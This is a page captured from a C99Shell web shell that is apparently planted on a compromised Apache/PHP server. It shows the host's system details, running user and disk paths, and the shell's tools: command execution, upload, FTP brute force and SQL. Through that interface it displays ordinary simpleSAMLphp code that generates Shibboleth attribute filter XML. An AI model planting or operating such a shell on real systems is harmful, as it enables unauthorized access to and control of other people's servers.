!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/3ros/simplesamlphp/modules/aggregator/lib/   drwxr-xr-x
Free 13.95 GB of 61.93 GB (22.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ARP.php (2.91 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * @author Andreas Åkre Solberg <andreas.solberg@uninett.no>
 * @package simpleSAMLphp
 * @version $Id: ARP.php 1895 2009-10-23 11:36:19Z andreassolberg $
 */
class sspmod_aggregator_ARP {


    private 
$metadata;
    private 
$attributes;
    private 
$prefix;
    private 
$suffix;

    
/**
     * Constructor
     *
     * @param 
     */
    
public function __construct($metadata$attributemap$prefix$suffix) {
        
$this->metadata $metadata;
        
        
$this->prefix $prefix;
        
$this->suffix $suffix;
        
        if (isset(
$attributemap)) $this->loadAttributeMap($attributemap);
    }
    
    private function 
loadAttributeMap($attributemap) {
        
$config SimpleSAML_Configuration::getInstance();
        include(
$config->getPathValue('attributemap''attributemap/') . $attributemap '.php');
        
$this->attributes $attributemap;
        
    
#    print_r($attributemap); exit;
    
}

    private function 
surround($name) {
        
$ret '';
        if (!empty(
$this->prefix)) $ret .= htmlspecialchars($this->prefix);
        
$ret .= $name;
        if (!empty(
$this->suffix)) $ret .= htmlspecialchars($this->suffix);
        return 
$ret;
    }

    private function 
getAttributeID($name) {
        if (empty(
$this->attributes)) {
            return 
$this->surround($name);
        } 
        if (
array_key_exists($name$this->attributes)) {
            return 
$this->surround($this->attributes[$name]);
        }
        return 
$this->surround($name);
    }

    public function 
getXML() {
        
        
$xml '<?xml version="1.0" encoding="UTF-8"?>
<AttributeFilterPolicyGroup id="urn:mace:funet.fi:haka:kalmar" xmlns="urn:mace:shibboleth:2.0:afp"
    xmlns:basic="urn:mace:shibboleth:2.0:afp:mf:basic" xmlns:saml="urn:mace:shibboleth:2.0:afp:mf:saml"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="urn:mace:shibboleth:2.0:afp classpath:/schema/shibboleth-2.0-afp.xsd
                        urn:mace:shibboleth:2.0:afp:mf:basic classpath:/schema/shibboleth-2.0-afp-mf-basic.xsd
                        urn:mace:shibboleth:2.0:afp:mf:saml classpath:/schema/shibboleth-2.0-afp-mf-saml.xsd">
'
;
        
        
        foreach(
$this->metadata AS $metadata) {
            
#echo '<pre>'; print_r($metadata); # exit;
            
if (isset($metadata['saml20-sp-remote'])) {
                
#echo '<pre>'; print_r($metadata); exit;
                
$xml .= $this->getEntryXML($metadata['saml20-sp-remote']);
            }
            
        }
        
        
$xml .= '</AttributeFilterPolicyGroup>';
        return 
$xml;
    }

    private function 
getEntryXML($entry) {
        
$entityid $entry['entityid'];
        return 
'    <AttributeFilterPolicy id="' $entityid '">
        <PolicyRequirementRule xsi:type="basic:AttributeRequesterString" value="' 
$entityid '" />
$this->getEntryXMLcontent($entry) . '
    </AttributeFilterPolicy>
'
;
    }
    
    private function 
getEntryXMLcontent($entry) {
        
$ids = array();
        if (!
array_key_exists('attributes'$entry)) 
            return 
'';
        
        
$ret '';
        foreach(
$entry['attributes'] AS $a) {
            
            
$ret .= '            <AttributeRule attributeID="' $this->getAttributeID($a) . '">
                <PermitValueRule xsi:type="basic:ANY" />
            </AttributeRule>
'
;
            
        }
        return 
$ret;
    }

}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.966 ]--